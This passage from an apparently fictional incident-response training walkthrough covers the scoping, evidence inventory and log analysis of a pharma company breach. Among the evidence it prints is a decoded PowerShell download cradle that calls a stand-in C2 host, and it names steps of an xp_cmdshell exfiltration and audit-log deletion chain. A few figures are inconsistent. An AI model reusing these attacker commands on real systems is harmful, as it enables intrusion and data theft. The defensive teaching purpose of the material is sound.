| Azure AD sign-in logs (INT-005) | 30-day retention. Historical data before approximately 2024-10-15 is unavailable. |
| M365 Message Trace (INT-004) | 30-day retention. Historical data before approximately 2024-10-15 is unavailable. |
| VirusTotal (EXT-002) | Crowdsourced; vendor detections may be absent for fresh infrastructure. A clean VT result does not rule out malicious use. Treat as corroborating, not authoritative. |

The template has six sections. Fill each one now:

Header — fill the four metadata lines at the top:

Project: PROJ-2024-001
Classification: TLP:AMBER
Date scoped: 2024-11-15
Scoped by: [your name]
Approved by: Noa Ben-David, IR Lead

Incident Summary — one paragraph, what triggered this:

CrowdStrike behavioral detection on WS-CFO-01 at 18:42 IST, November 15, 2024.
PowerShell spawned by OUTLOOK.EXE with base64-encoded payload, downloading from
203.0.113.87. Scope of compromise unknown. Formula files on SERVER-RD-02 are
potentially in scope — US licensing deal ($52M) requires regulatory assessment.

In Scope — fill the asset table:

Out of Scope — fill the exclusion table:

PIRs — copy from project.yml, add due dates:

Constraints and Assumptions — fill the four fields:

Legal/regulatory: INCD 72h notification window expires 2024-11-17 18:47 IST.
  Israeli Privacy Protection Law + FDA NDA obligations if formula data confirmed.
Evidence limitations: Palo Alto firewall logs — 14-day retention.
  SERVER-RD-02 Nov 6 outbound logs expire 2024-11-20. Retrieve immediately.
  Sysmon absent from all server-class machines.
Access restrictions: WS-IT-LEVI — legal hold, no hardware access. RTR permitted.
Assumptions: All timestamps assumed UTC unless marked IST. Not converted in log excerpts.

Definition of Done — check the boxes your team has agreed to:

- [ ] All PIRs answered or formally deferred with reasoning
- [ ] Timeline covers full attacker dwell period (or gap documented)
- [ ] ATT&CK mapping reviewed and finalized
- [ ] At least one detection rule per confirmed TTP
- [ ] SOC handoff delivered and acknowledged
- [ ] Executive brief approved by Noa Ben-David (IR Lead)
- [ ] INCD notification filed if formula data confirmed

Full scope.md:

# Scope Definition

**Project:** PROJ-2024-001
**Classification:** TLP:AMBER
**Date scoped:** 2024-11-15
**Scoped by:** Yael Mizrahi (CTI Analyst)
**Approved by:** Noa Ben-David (IR Lead) — verbal approval 19:22 IST

---

## Incident Summary

CrowdStrike behavioral IOA fired on WS-CFO-01 (Michal Cohen, CFO) at 18:42 IST on
2024-11-15. PowerShell with encoded payload launched from OUTLOOK.EXE; three outbound
C2 connections to 203.0.113.87 confirmed within 15 minutes of detection. Scope of
compromise is unknown at time of scoping — the CFO alert may be a late-stage indicator
of a broader intrusion. Formula files on SERVER-RD-02 (US licensing package, ~380 MB,
47 files) are in scope for PIR-001 due to financial and regulatory exposure ($52M deal,
FDA NDA obligations). INCD 72h notification clock assessed as active from time of
discovery.

---

## In Scope

| Asset / System | Owner | Justification |
|---|---|---|
| WS-CFO-01.lifetechpharma.local | IT Dept / Michal Cohen (CFO) | Triggering alert host — CrowdStrike IOA, active C2 |
| WS-IT-LEVI.lifetechpharma.local | IT Dept / Paz Levi (IT Admin) | Suspected initial access vector — AiTM phishing hypothesis |
| SERVER-RD-02.lifetechpharma.local | R&D Dept | Formula file storage — PIR-001 primary asset |
| SERVER-FIN-01.lifetechpharma.local | Finance Dept | Lateral movement target — confirmed by CrowdStrike alert Nov 15 |
| DC01.lifetechpharma.local | IT Dept | DCSync event EID 4662 observed from non-DC IP |
| Exchange Online (M365) | IT / Microsoft | Email delivery vector — phishing investigation |
| Azure AD | IT / Microsoft | Authentication logs — VPN session token replay |
| Palo Alto NGFW (perimeter) | IT / Network team | C2 traffic confirmation, SERVER-RD-02 exfil flows |

---

## Out of Scope

| Asset / System | Reason for Exclusion |
|---|---|
| SharePoint Online / OneDrive | Cloud scope — no evidence of involvement; requires separate authorization |
| Manufacturing SCADA / OT network | No evidence of lateral movement into OT segment at this time |
| WS-IT-LEVI — hardware / disk image | Legal hold issued 2024-11-15 20:45 IST. No hardware access until hold lifted. RTR permitted. |
| All other endpoints (838 total) | Out of scope pending hunt results — may expand if pivot on C2 domains finds new hosts |

---

## Priority Intelligence Requirements (PIRs)

| ID | Question | Priority | Due | Status |
|---|---|---|---|---|
| PIR-001 | Was the US licensing formula package (`SERVER-RD-02\LicenseDeals\USPartner2024\`) accessed or exfiltrated? If so, what and when? | High | 2024-11-16 06:00 IST | Open |
| PIR-002 | How did the adversary gain initial access — phishing, credential theft, exploitation, or insider? | High | 2024-11-16 06:00 IST | Open |
| PIR-003 | Is there evidence of ongoing access or persistence as of 2024-11-15 19:00 IST? Are any other hosts compromised? | High | 2024-11-16 06:00 IST | Open |

---

## Constraints and Assumptions

- **Legal/regulatory:** INCD 72h notification window — expires approximately 2024-11-17
  18:47 IST. Israeli Privacy Protection Law (PPL) notification to DPA if personal data
  breach confirmed. FDA NDA obligation to notify US partner if formula files confirmed
  exfiltrated — no specific deadline but immediate notification is standard practice.
- **Evidence limitations:**
  - Palo Alto NGFW firewall flows: 14-day retention only. SERVER-RD-02 November 6
    outbound traffic expires 2024-11-20. **Retrieve before any other analysis.**
  - Sysmon NOT deployed on server-class machines (SERVER-RD-02, SERVER-FIN-01, DC01).
  - CrowdStrike NOT deployed on R&D server fleet (12 servers) or DC01.
  - DC01 Windows Security log: only partial export available — full log inaccessible.
  - ATP sandbox not enabled for .xlsm files — attachment was delivered uninspected.
- **Access restrictions:**
  - WS-IT-LEVI: legal hold, no hardware/disk/memory access. CrowdStrike RTR permitted
    with full session logging. Contact Adv. Dina Shapiro before any exception.
  - VPN jump host credentials: requested, not yet provisioned (Yael Mizrahi, 19:05 IST).
- **Assumptions:**
  - All log timestamps assumed UTC unless explicitly marked IST in source.
  - CrowdStrike behavioral detections treated as CONFIRMED source (Admiralty A/2).
  - Sysmon EID events treated as CONFIRMED source where forwarder health is verified.

---

## Stakeholders

| Name | Role | Involvement |
|---|---|---|
| Noa Ben-David | IR Lead | Scope approval; receives executive brief; INCD notification decision |
| Ran Katz | SOC Manager | SOC handoff; implements detection rules; hunting queries |
| Adv. Dina Shapiro | Legal Counsel | Legal hold oversight; PPL / regulatory notifications; WS-IT-LEVI access decisions |
| [CISO name] | CISO | Executive brief recipient; $52M deal brief to Board |
| [US Partner contact] | External — US biopharma | FDA NDA notification if PIR-001 answered YES |

---

## Definition of Done

This investigation is complete when:

- [ ] All three PIRs answered or formally deferred with documented reasoning
- [ ] Timeline covers full attacker dwell period from first access to detection (or gap documented)
- [ ] ATT&CK mapping completed and reviewed — all confirmed techniques have a gap type
- [ ] At least one Sigma detection rule per confirmed TTP with Rule Missing or Coverage Incomplete gap
- [ ] SOC handoff document delivered to Ran Katz and acknowledged
- [ ] Executive brief approved by Noa Ben-David (IR Lead)
- [ ] INCD notification filed if formula data or CII involvement confirmed (deadline: 2024-11-17 18:47 IST)
- [ ] PPL / FDA NDA notification decision documented (even if decision is: not required)
- [ ] project.yml status set to `closed` and all PIR statuses updated

2. Save the file and commit

git add 00-scope/scope.md
git commit -m "PROJ-2024-001: scope signed off — 5 systems, 3 PIRs, INCD deadline 2024-11-17, firewall log retrieval urgent"

The firewall log retention deadline drives everything. SERVER-RD-02’s November 6 outbound traffic expires November 20. That is the exfiltration confirmation window. If it closes, CL-003 becomes INFERRED, not CONFIRMED. Retrieve those logs before any other analysis.

Step R1: Evidence Inventory — What Exists and What Is Missing

The evidence inventory runs before analysis. The rule: you do not analyze what you have not inventoried.

1. Open the source registry

nano 02-sources/source-registry.md

The template has two tables: Internal Sources and External Sources. Fill every row you have access to — and explicitly mark what is absent. Unknown coverage is not the same as no coverage.

2. Fill in what you have

For each log source, fill four fields: Source name, System(s) it covers, Admiralty reliability rating, and any known gap. Where a source is absent from a system that should have it, add a row with — absent in the Gap column. That absence is a finding.

For LifeTech, the completed source registry drives this inventory:

GAP-001 — WS-IT-LEVI Sysmon: October 22 — November 1, 2024

Duration: 10 days
Root cause: Unknown — Sysmon forwarder stopped. Coincides exactly with
  the day the IT admin received a phishing email.
What is missing: process creation (EID 1), network connections (EID 3),
  file creation (EID 11) for this host during this entire window.
Impact: Cannot confirm or rule out attacker activity on WS-IT-LEVI
  between Oct 22 and Nov 1. All claims about this period are INFERRED
  or HYPOTHESIZED unless supported by alternative sources (VPN logs,
  DC authentication logs, firewall flows).
Possible cause: Deliberate anti-forensic technique — terminating Sysmon
  service is a known evasion method.

The 10-day gap on the IT admin workstation starts the same day a phishing email was delivered to him. This is not coincidence — it is a finding.

3. Create a GAP document for every gap

Each gap gets its own file. Create it now:

nano 01-evidence/GAP-001-ws-it-levi-sysmon.md

Paste the filled template:

# GAP-001 — WS-IT-LEVI Sysmon | 2024-10-22 – 2024-11-01
Duration: 10 days (2024-10-22 11:31 UTC to 2024-11-01 09:14 UTC)
Root cause: Sysmon forwarder stopped. Coincides exactly with delivery
  of phishing email to p.levi at 11:23 UTC.
What is missing: EID 1 (process creation), EID 3 (network connections),
  EID 11 (file creation) for WS-IT-LEVI during this entire window.
Impact: Cannot confirm or rule out attacker activity during this period.
  All claims covering Oct 22–Nov 1 on this host are INFERRED or
  HYPOTHESIZED unless corroborated by VPN logs, DC auth logs, or
  firewall flows.
Possible cause: Deliberate - terminating Sysmon is T1562.001 (Impair
  Defenses). A gap coinciding with a malicious delivery is itself a
  finding, not merely an absence.

4. Commit the evidence inventory

git add 01-evidence/ 02-sources/source-registry.md
git commit -m "PROJ-2024-001: evidence inventory — 6 sources, GAP-001 (10-day Sysmon gap WS-IT-LEVI Oct 22–Nov 1), firewall log retrieval urgent before Nov 20"

Step R1.5: Hands-On Evidence Analysis — VS Code Investigation

The evidence inventory tells you what exists. This step analyzes it. VS Code is the primary tool: one window holds the evidence tree, the formatted logs, the API calls, and the terminal — no context-switching between applications.

Setup — Open the Evidence Folder

# One command opens the entire evidence directory as a workspace
code ~/investigations/lifetech-2024-11/01-evidence/

VS Code opens with the Explorer panel showing the full evidence tree. Every JSON, JSONL, CSV, and syslog file is one click away.

Install four extensions before starting (Ctrl+Shift+X, search by ID):

Or install all at once from the integrated terminal (Ctrl+`` ):

code --install-extension mechatroner.rainbow-csv
code --install-extension humao.rest-client
code --install-extension ms-vscode.hexeditor
code --install-extension esbenp.prettier-vscode

Key VS Code shortcuts used throughout this step:

Download the training evidence:

git clone https://github.com/anpa1200/CTI_as_a_Code.git
code ~/CTI_as_a_Code/investigations/lifetech-2024-11/01-evidence/

Direct links to open any file in GitHub (also downloadable via curl -L):

• m365/message-trace-p.levi.csv
  Format: CSV
  Contains: IT admin phishing delivery, Oct 15–24
• m365/message-trace-m.cohen.csv
  Format: CSV
  Contains: CFO phishing delivery, Nov 13–15
• azure-ad/signin-p.levi.json
  Format: JSON
  Contains: IT admin Azure AD sign-ins — Istanbul token replay
• vpn/anyconnect-2024-10-24.log
  Format: ASA syslog
  Contains: VPN session from Istanbul, Oct 24
• sysmon/WS-CFO-01-sysmon.jsonl
  Format: JSONL
  Contains: CFO workstation — PowerShell, LSASS, persistence, BITS
• crowdstrike/WS-CFO-01-alert-20241115.json
  Format: JSON
  Contains: CrowdStrike Falcon alert — triggering detection
• windows-security/DC01-security.jsonl
  Format: JSONL
  Contains: DC01 security events — DCSync EID 4662
• windows-security/SERVER-RD-02-security.jsonl
  Format: JSONL
  Contains: R&D server — EID 4663 file access, EID 5156 exfil
• palo-alto/ngfw-flows.csv
  Format: CSV
  Contains: Perimeter firewall flows — 381 MB exfil confirmed
• palo-alto/dns-queries.csv
  Format: CSV
  Contains: DNS telemetry — C2 beacon pattern
• sql-audit/SERVER-RD-02-sql-audit.jsonl
  Format: JSONL
  Contains: SQL Server audit — full xp_cmdshell exfil chain
• GAP-001-ws-it-levi-sysmon.md
  Format: Markdown
  Contains: Documented 10-day Sysmon gap on IT admin host

1. CrowdStrike Alert — JSON in VS Code

In VS Code Explorer: click crowdstrike/WS-CFO-01-alert-20241115.json

Press Shift+Alt+F to auto-format. The nested structure becomes readable with collapsible sections.

Open the Outline panel (Ctrl+Shift+O):

▶ meta
▼ resources
  ▼ [0]
    ▶ device        — hostname, OS, groups
    ▼ behaviors
      [0] Execution / T1059.001  — OUTLOOK.EXE → powershell.exe
      [1] Command and Control / T1071.001
      [2] Persistence / T1547.001
      [3] Credential Access / T1003.001
    ▶ network_accesses
    ▶ prevention_policy

Click any node to jump directly to that section. Click prevention_policy — you see "prevent": false immediately. The CFO's machine is in detect-only mode; the C2 connection is live. Take the memory dump before anything else.

Search (Ctrl+F): type prevented → jumps to "prevent": false. Type cmdline → jumps to the encoded PowerShell command.

Or use jq tool:

Extract key fields in the integrated terminal (Ctrl+`` ):

jq '.resources[0] | {
  detection_id,
  severity:  .max_severity_displayname,
  host:      .device.hostname,
  prevented: .prevention_policy.prevent,
  timestamp: .created_timestamp
}' crowdstrike/WS-CFO-01-alert-20241115.json

Output:

{
  "detection_id": "ldt:8f2a4b91e33a471cae44b2fdb8812201:884921003",
  "severity":     "Critical",
  "host":         "WS-CFO-01",
  "prevented":    false,
  "timestamp":    "2024-11-15T16:42:47.882Z"
}

# List all detected behaviors
jq '.resources[0].behaviors[] | {
  timestamp, tactic, technique_id, display_name,
  parent: .parent_image_filename,
  image:  .filename,
  cmdline: (.cmdline // "" | .[0:80])
}' crowdstrike/WS-CFO-01-alert-20241115.json

# Network connections observed
jq '.resources[0].network_accesses[] | {
  remote_address, remote_port, direction, timestamp
}' crowdstrike/WS-CFO-01-alert-20241115.json

# Prevention policy — confirm detect-only mode and note the policy gap
jq '.resources[0].prevention_policy | {name, prevent, detect, note}' \
  crowdstrike/WS-CFO-01-alert-20241115.json

Found IOCs

• Host WS-CFO-01 — Victim workstation; CrowdStrike detect-only, C2 active
• Hash (SHA256) de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1848474f57 — powershell.exe behavior hash from alert
• Hash (MD5) 7353f60b1739074eb17c5f4dddefe239 — Same behavior; use both for VT lookup
• Process OUTLOOK.EXE → powershell.exe — Parent–child execution chain in behaviors[0]
• Cmdline -NonI -W Hidden -Enc JABjAD0A… — Encoded PowerShell payload; decode in Step 2
• IP 203.0.113.87 — C2 server; 3 connections in network_accesses, port 443

2. Decode the PowerShell Payload

In the formatted JSON still open in VS Code, press Ctrl+F and search -Enc — the base64 argument is on the same line. Copy it.

Decode in the integrated terminal — do not paste encoded malware into online decoders:

# PowerShell -Enc uses UTF-16LE encoding
echo "JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABkAD0AJABjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AMgAwADMALgAwAC4AMQAxADMALgA4ADcALwB1AHAAZABhAHQAZQAnACkA" \
  | base64 -d

Output:

$c=New-Object System.Net.WebClient;$c.Headers.Add('User-Agent','Mozilla/5.0');$d=$c.DownloadString('https://203.0.113.87/update')

In VS Code Explorer: click sysmon/WS-CFO-01-sysmon.jsonl. Press Ctrl+F, search "EventID": 11 — jumps to the file creation event showing svchost32.exe dropped to AppData\Roaming. The analyst_note field confirms the fake PE timestamp.

# Cross-check: confirm what the PowerShell dropped
jq 'select(.EventID == 11) | {
  time: .TimeCreated, dropped_by: .Image, file: .TargetFilename, note: .analyst_note
}' sysmon/WS-CFO-01-sysmon.jsonl

Or use Base64 extention:

Found IOCs

• IP 203.0.113.87 — Primary C2 server; payload download source
• URL https://203.0.113.87/update — C2 payload URL decoded from base64 PowerShell
• File svchost32.exe — Dropper deposited to %AppData%\Roaming\; forged PE timestamp

3. M365 Message Trace — Rainbow CSV

In VS Code Explorer: click m365/message-trace-p.levi.csv

With Rainbow CSV installed, every column gets its own color. The status bar at the bottom shows the column name as you move the cursor.

RBQL — SQL queries against the CSV, no Python needed:

Press F5 (or click RBQL in the status bar) to open the query console:

-- Find all emails where authentication failed
SELECT a.* WHERE a16 == "fail" ORDER By a1

Result pane (right side):

2024-10-22T11:23:07Z | security-noreply@mfa-lifetechpharma.com
  | ACTION REQUIRED: MFA Re-enrollment — LifeTech IT Security
  | Delivered | 4 | fail | fail | fail

Three auth failures in one row. SCL=4 delivered because the threshold is 5. Add mfa-lifetechpharma.com to IOC list.

SELECT a.* WHERE a17 == '1' && a16 == 'fail'

Save RBQL results: click Save to CSV in the result panel → save as 03-analysis/m365-suspects.csv.

Switch to m365/message-trace-m.cohen.csv (click in Explorer):

-- CFO mailbox — find the malicious delivery
SELECT a.received_time, a.sender_address, a.subject, a.SCL, a.DMARC, a.has_attachment
FROM a
WHERE a.DMARC == 'fail' OR a.has_attachment == '1'
ORDER BY a.received_time

Key finding — CFO phishing email:

2024-11-15T15:58:08Z | contracts@globalcontracts-secure.net
  | Q4-2024 Licensing Agreement Review — Action Required (URGENT)
  | SCL=4 | DMARC=fail | has_attachment=1

The .xlsm attachment was not sandboxed — ATP policy gap (INT-007). Add globalcontracts-secure.net to IOC list.

Found IOCs

• Domain mfa-lifetechpharma.com — AiTM phishing sender domain; DMARC/DKIM/SPF all fail
• Email security-noreply@mfa-lifetechpharma.com — IT admin phishing sender (Oct 22)
• Domain globalcontracts-secure.net — CFO phishing delivery domain
• Email contracts@globalcontracts-secure.net — CFO phishing sender (Nov 15)
• Attachment .xlsm — Macro-enabled Excel; bypassed ATP sandbox (INT-007)

4. Azure AD Sign-In Analysis

In VS Code Explorer: click azure-ad/signin-p.levi.json

Press Shift+Alt+F to format. Open the Outline (Ctrl+Shift+O) — the array shows four sign-in entries. Click entry [1] to jump to aad-signin-002.

Search Ctrl+F: type Istanbul — jumps directly to the suspicious sign-in. Read surrounding context without running any command:

"city": "Istanbul",
"countryOrRegion": "TR",
"conditionalAccessStatus": "notApplied",
"succeeded": null

Three red flags visible immediately in the file: foreign city, CA bypassed, no MFA.

Full structured extraction in the terminal:

jq '.[] | {
  id,
  time: .properties.createdDateTime,
  ip:   .properties.ipAddress,
  loc:  "\(.properties.location.city), \(.properties.location.countryOrRegion)",
  mfa:  .properties.authenticationDetails[0].succeeded,
  ca:   .properties.conditionalAccessStatus,
  os:   .properties.deviceDetail.operatingSystem
}' azure-ad/signin-p.levi.json

Red flags on aad-signin-002:

Found IOCs

• IP 185.220.101.47 — Attacker source IP; Istanbul, Turkey (Tor exit node)
• Account p.levi — Compromised IT admin; token replay, no MFA challenge
• Indicator Token replay — CA policy bypassed; conditionalAccessStatus: notApplied

5. VPN Log Analysis

In VS Code Explorer: click vpn/anyconnect-2024-10-24.log

VS Code opens the plain syslog file. Use Ctrl+F to navigate without any commands:

• Search p.levi — highlights every line for this user
• Search Authentication: successful — the auth event
• Search Assigned address — the internal IP assigned to the session
• Search Duration — total session length

# Full session chain in the terminal:
grep "p.levi" vpn/anyconnect-2024-10-24.log \
  | grep -E "(716001|716002|734001|Authentication|Teardown|Assigned)"

Output:

Oct 24 00:17:14 ... User <p.levi> IP <185.220.101.47> Authentication: successful
Oct 24 00:17:33 ... User <p.levi> ... Assigned address: 10.10.3.22
Oct 24 02:29:08 ... User <p.levi> ... Duration: 1h12m34s

185.220.101.47 (Istanbul VPN exit) authenticated as p.levi and was assigned 10.10.3.22 — WS-IT-LEVI's own internal IP. All activity during this session looks like it came from the legitimate workstation.

grep -i "mfa\|no.*challenge\|bypass" vpn/anyconnect-2024-10-24.log
# → NOTE: No MFA challenge issued — session token authentication bypass
grep "203.0.113.87" vpn/anyconnect-2024-10-24.log | awk '{print $1,$2,$3}' | head -8
# → ~7-minute C2 beacons during the VPN session window

Found IOCs

• IP 185.220.101.47 — Attacker VPN source; Istanbul; authenticated as p.levi
• Account p.levi — Session token auth; no MFA challenge issued
• IP (internal) 10.10.3.22 — Assigned to attacker session; masks as WS-IT-LEVI
• IP 203.0.113.87 — C2 beacons during VPN session (~7-min interval)

6. NGFW Log Analysis — Rainbow CSV

In VS Code Explorer: click palo-alto/ngfw-flows.csv

Rainbow CSV colorizes columns. The status bar shows column names as you move the cursor.

RBQLHeader
a1receive_time
a22dport
a5src
a28bytes
a6dst
a29bytes_sent
a9rule
a30bytes_received
a10srcuser
a33elapsed
a12app
a34category
a27action
a41session_end_reason

In VS Code Explorer: click palo-alto/ngfw-flows.csv. Press F5 to open the RBQL console.

Query 1 — find anomalies: all flows sorted by bytes_sent descending

Start here every time. The outlier appears immediately.

SELECT a1, a5, a6, a22,
       Math.round(parseInt(a29) / 1048576) + ' MB' AS sent_MB,
       Math.round(parseInt(a30) / 1024) + ' KB' AS rcvd_KB,
       a33 + 's', a10
ORDER BY parseInt(a29) DESC

Result:

2024-11-06T00:14:14Z | 10.10.2.15 | 198.51.100.44 | 443 | 381 MB | 409 KB | 312s |
2024-11-15T16:42:41Z | 10.10.1.45 | 203.0.113.87  | 443 |  17 MB |  10 KB |  63s | LIFETECHPHARMA\m.cohen
2024-11-15T16:49:22Z | 10.10.1.45 | 203.0.113.87  | 443 |  14 MB |  10 KB |  61s | LIFETECHPHARMA\m.cohen
2024-11-15T16:56:03Z | 10.10.1.45 | 203.0.113.87  | 443 |  14 MB |  10 KB |  59s | LIFETECHPHARMA\m.cohen
2024-11-06T00:09:44Z | 10.10.3.22 | 203.0.113.87  | 443 |   9 KB |   7 KB |  51s | LIFETECHPHARMA\p.levi
...

The first row is 17,000× larger than any other flow. Upload ratio 99% (381 MB sent, 409 KB received). Session lasted 312 seconds. This is data exfiltration, not a download.

Two hosts are beaconing to the same C2 IP: 10.10.3.22 (IT admin, p.levi) and 10.10.1.45 (CFO, m.cohen) — two separate infections.

Query 2 — exfil upload ratio: flag flows where sent > 90% of total bytes

SELECT a1, a5, a6, a22,
       Math.round(parseInt(a29) / 1048576) + ' MB' AS sent_MB,
       Math.round(parseInt(a29) * 100 / (parseInt(a28) + 1)) + '%' AS upload_pct,
       a33 + 's'
WHERE parseInt(a28) > 100000
ORDER BY parseInt(a29) DESC

Result: only one row — 10.10.2.15 → 198.51.100.44, 99% upload, 381 MB. Every other flow is bidirectional C2 (55–65% upload) which is beacon traffic, not exfil.

Query 3 — beacon pattern: repeated small flows to same external IP

SELECT a6, COUNT(a6) AS sessions,
       AVG(parseInt(a28)) AS avg_bytes,
       AVG(parseInt(a33)) AS avg_elapsed_s
WHERE a6 && !a6.startsWith('10.') && !a6.startsWith('192.168.')
   && !isNaN(parseInt(a28))
GROUP BY a6Result:

203.0.113.87   | 9 sessions | ~14 KB avg | ~47s avg
198.51.100.44  | 1 session  | 399 MB avg | 312s avg

203.0.113.87 has 9 short uniform sessions — beacon. 198.51.100.44 has one giant session — exfil.

Query 4 — internal lateral movement: flows that stay inside RFC-1918

SELECT a1, a5, a6, a22, a28, a9, a10
WHERE a5 && a6
   && (a5.startsWith('10.') || a5.startsWith('192.168.'))
   && (a6.startsWith('10.') || a6.startsWith('192.168.'))
ORDER BY a1

Result:

2024-11-15T19:14:08Z | 10.10.1.45 | 10.10.2.20 | 135   | 8441  | InternalAccess-Allow
2024-11-15T19:14:18Z | 10.10.1.45 | 10.10.2.20 | 49152 | 12884 | InternalAccess-Allow

CFO workstation (10.10.1.45) connected to an internal host (10.10.2.20) on port 135 (DCE/RPC endpoint mapper) then port 49152 (dynamic RPC). This is the WMI/DCOM lateral movement signature — 3 hours after the CFO was compromised.

Query 5 — beacon timing: isolate C2 host and sort by time to measure intervals

SELECT a1, a5, a6, parseInt(a29) AS bytes_sent, a33 + 's'
WHERE a6 == '203.0.113.87'
ORDER BY a1

Result:

2024-11-01T07:14:02Z | 10.10.3.22 | 8441 bytes | 47s   ← WS-IT-LEVI session 1
2024-11-01T07:21:14Z | 10.10.3.22 | 8221 bytes | 45s   ← gap: 432s
2024-11-01T07:28:44Z | 10.10.3.22 | 7882 bytes | 44s   ← gap: 450s
                     ↓ 4.7-day silence (C2 dormant) ↓
2024-11-06T00:09:44Z | 10.10.3.22 | 9441 bytes | 51s   ← WS-IT-LEVI session 2
2024-11-06T00:17:01Z | 10.10.3.22 | 8001 bytes | 46s   ← gap: 437s
2024-11-06T00:24:33Z | 10.10.3.22 | 8011 bytes | 44s   ← gap: 452s
2024-11-15T16:42:41Z | 10.10.1.45 | 18221 bytes| 63s   ← WS-CFO-01 session 1
2024-11-15T16:49:22Z | 10.10.1.45 | 14441 bytes| 61s   ← gap: 401s
2024-11-15T16:56:03Z | 10.10.1.45 | 15001 bytes| 59s   ← gap: 421s

Beacon interval: 432–452 seconds (~7.2 minutes). Consistent across both infected hosts — same implant, same configuration. The 4.7-day gap (Nov 1–6) between IT admin beacon clusters is the C2 going quiet while staging lateral movement.

Click palo-alto/dns-queries.csv in Explorer.

Column map:

RBQLHeader
a1receive_time
a2src
a4query
a6response
a8category
a10analyst_note

Query 6 — all malware-category queries, sorted by time

SELECT a1, a2, a4, a6, a8
FROM a
WHERE a8 == 'malware'
ORDER BY a1

Result — full malware DNS timeline:

2024-10-22T09:28:41Z | 10.10.3.22 | mfa-lifetechpharma.com       | 185.220.101.47  | malware ← AiTM phishing page loaded
2024-10-22T09:29:02Z | 10.10.3.22 | mfa-lifetechpharma.com       | 185.220.101.47  | malware ← token stolen
2024-11-01T07:14:00Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware ← C2 beacon 1
2024-11-01T07:21:14Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware
2024-11-01T07:28:44Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware
2024-11-06T00:09:01Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware
2024-11-06T00:17:01Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware ← (missing from log)
2024-11-06T00:24:33Z | 10.10.3.22 | telemetry-cdn-services.biz   | 203.0.113.87    | malware
2024-11-06T00:10:14Z | 10.10.2.15 | sys-update-cdn.net            | 198.51.100.44   | malware ← exfil domain lookup
2024-11-15T15:58:08Z | 10.10.1.45 | globalcontracts-secure.net    | 185.220.101.52  | malware ← CFO phishing domain
2024-11-15T16:42:33Z | 10.10.1.45 | telemetry-cdn-services.biz   | 203.0.113.87    | malware ← CFO C2 beacon 1
2024-11-15T16:49:22Z | 10.10.1.45 | telemetry-cdn-services.biz   | 203.0.113.87    | malware
2024-11-15T16:56:03Z | 10.10.1.45 | telemetry-cdn-services.biz   | 203.0.113.87    | malware

Query 7 — per-host beacon count: how many hosts are infected?

SELECT a2, COUNT(a2) AS queries
WHERE a4 == 'telemetry-cdn-services.biz'
GROUP BY a2

Result:

10.10.3.22 | 6   ← WS-IT-LEVI (IT admin) — infected Nov 1
10.10.1.45 | 3   ← WS-CFO-01 (CFO) — infected Nov 15

Two hosts. Two infections. Same C2 domain. The IT admin host was the initial foothold; the CFO host is the second wave, 14 days later.

Query 8 — new IP: attacker recon before VPN login

SELECT a1, a2, a4, a6, a8, a10
WHERE a2 && !a2.startsWith('10.') && !a2.startsWith('192.168.')
ORDER BY a1

Result:

2024-10-24T00:16:44Z | 185.220.101.47 | vpn.lifetechpharma.com | 10.10.8.1 | business-and-economy

The attacker IP (185.220.101.47) looked up the VPN hostname 1 minute before the successful VPN login. Confirms active operator, not automated tool.

Cross-reference with flows (Ctrl+Shift+F → 198.51.100.44):

ngfw-flows.csv   line 11: 10.10.2.15 → 198.51.100.44 | 399 MB | 312s
dns-queries.csv  line 14: 10.10.2.15 → sys-update-cdn.net → 198.51.100.44

DNS lookup at 00:10:14Z, flow starts at 00:14:14Z — 4-minute gap between resolution and transfer start. Consistent with manual operator staging the upload command.

Found IOCs

• IP 198.51.100.44 — Exfil destination; 381 MB upload, 99% upload ratio, 312s, single session
• IP (internal) 10.10.2.15 — SERVER-RD-02; exfil source host
• IP 203.0.113.87 — C2 server; 9 beacon sessions from 2 hosts, ~7.2-min interval
• IP 185.220.101.52 — New; CFO phishing page host (globalcontracts-secure.net)
• IP (internal) 10.10.2.20 — Lateral movement target; reached from CFO host on ports 135 + 49152 (RPC/WMI)
• Domain telemetry-cdn-services.biz — C2 domain; queried by both 10.10.3.22 and 10.10.1.45
• Domain sys-update-cdn.net — Exfil domain; resolves to 198.51.100.44; queried by 10.10.2.15
• Domain mfa-lifetechpharma.com — AiTM phishing domain; resolves to 185.220.101.47
• Indicator Beacon interval 432–452s (~7.2 min) — identical across both infected hosts; same implant config
• Indicator Attacker recon: 185.220.101.47 queried vpn.lifetechpharma.com 1 min before VPN login7. SQL Audit Log Analysis

7. SQL Audit Log Analysis

In VS Code Explorer: click sql-audit/SERVER-RD-02-sql-audit.jsonl

Each line is a JSON object. Use Ctrl+F to navigate directly to key events:

Search termJumps to

xp_cmdshellShell execution events
AuditLogAdversary OPSEC recon
(SELECT) and anti-forensics (DELETE)
UploadFileThe exfiltration command
Compress-ArchiveThe staging command

Full chain in the terminal:

jq -r '[.EventTime, .LoginName, .StatementType, (.Statement[0:90])] | @tsv' \
  sql-audit/SERVER-RD-02-sql-audit.jsonl

Six events: enumerate → recon (SELECT AuditLog) → stage → exfil → cleanup → anti-forensics (DELETE AuditLog). The DELETE at 00:15:22Z failed because Splunk had already ingested these rows before it ran.

Found IOCs

• Account svc_backup — Lateral movement account; executed full xp_cmdshell chain
• URL 198.51.100.44/recv — Exfil endpoint used by WebClient.UploadFile
• File USPartner2024-formulas.zip — Staged archive; formula data compressed before exfil
• Indicator xp_cmdshell (T1059.003) — SQL Server shell used as execution proxy
• Indicator Anti-forensics — DELETE on SQL AuditLog at 00:15:22Z; blocked by prior Splunk ingestion

8. Windows Security Event Log Analysis

In VS Code Explorer: click windows-security/DC01-security.jsonl

Press Ctrl+F, search 4662 — jumps to the DCSync event. The analyst_note gives the human-readable summary in the file itself:

